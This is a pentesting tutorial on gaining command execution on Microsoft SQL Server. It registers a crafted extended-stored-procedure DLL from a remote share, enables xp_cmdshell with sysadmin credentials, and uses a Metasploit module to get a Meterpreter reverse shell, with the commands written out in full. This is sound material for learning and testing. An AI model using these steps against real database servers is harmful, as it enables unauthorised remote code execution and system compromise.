MSSQL for Pentester: Command Execution with Extended Stored Procedures

Extended stored procedures are DLL files which are referenced by the SQL Server by having the extended stored procedure created which then reference functions or procedures within the DLL. The DLLs which are behind the extended stored procedures are typically created in a lower level language like C or C++. Extended stored procedures run within the SQL Server, meaning that the code is executed within the SQL Server memory space. Thus DLL can have any file type extension and can be loaded from UNC path or Webdav.

Exploiting Extended Stored Procedures using PowerupSQL

Create the DLL to add to the SQL db

Import-Module .\Powerupsql.ps1

Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

With the help of Powerupsql we have created a dll file in our local machine (Windows 10).

Register the dll from our system

In order to create or register an extended stored procedure, the login that the user uses to log into the database must be a member of the sysadmin fixed server role.

Typically, an extended stored procedure would be created with a name starting with xp_ or sp_ so that the database engine would automatically look in the master database for the object if there was no object with that name in the user database.

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"

 

List existing Extended stored procedures

Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

Given below image is showing Databasename “master” where store process exits. Other than that it has given Type_desc, name, text.

Extended stored procedures are always created within the master database, but can be referenced from any database.

Execute the stored procedure

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose

 

Enable XP_CMD Shell

By default XPCmdShell is disabled as shown in the image.

With the privilege account an attacker create new stored procedure and will try to enable the xpcmdshell with the help of following command.

Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose

XP_CMD Shell Remote Code Execution

Once the xpcmdshell gets enabled then we can use metasploit to execute the following module in order to get reverse shell.

use exploit/windows/mssql/mssql_payload

set rhosts 192.168.1.146

set password Password@1

exploit

 

The exploit does not stop at just enabling the XP command shell. It then runs a series of commands that can help to get us a meterpreter shell on the target machine as shown in the image below

Read more about XPCmdshell from here.

Reference: https://www.sciencedirect.com/topics/computer-science/extended-stored-procedure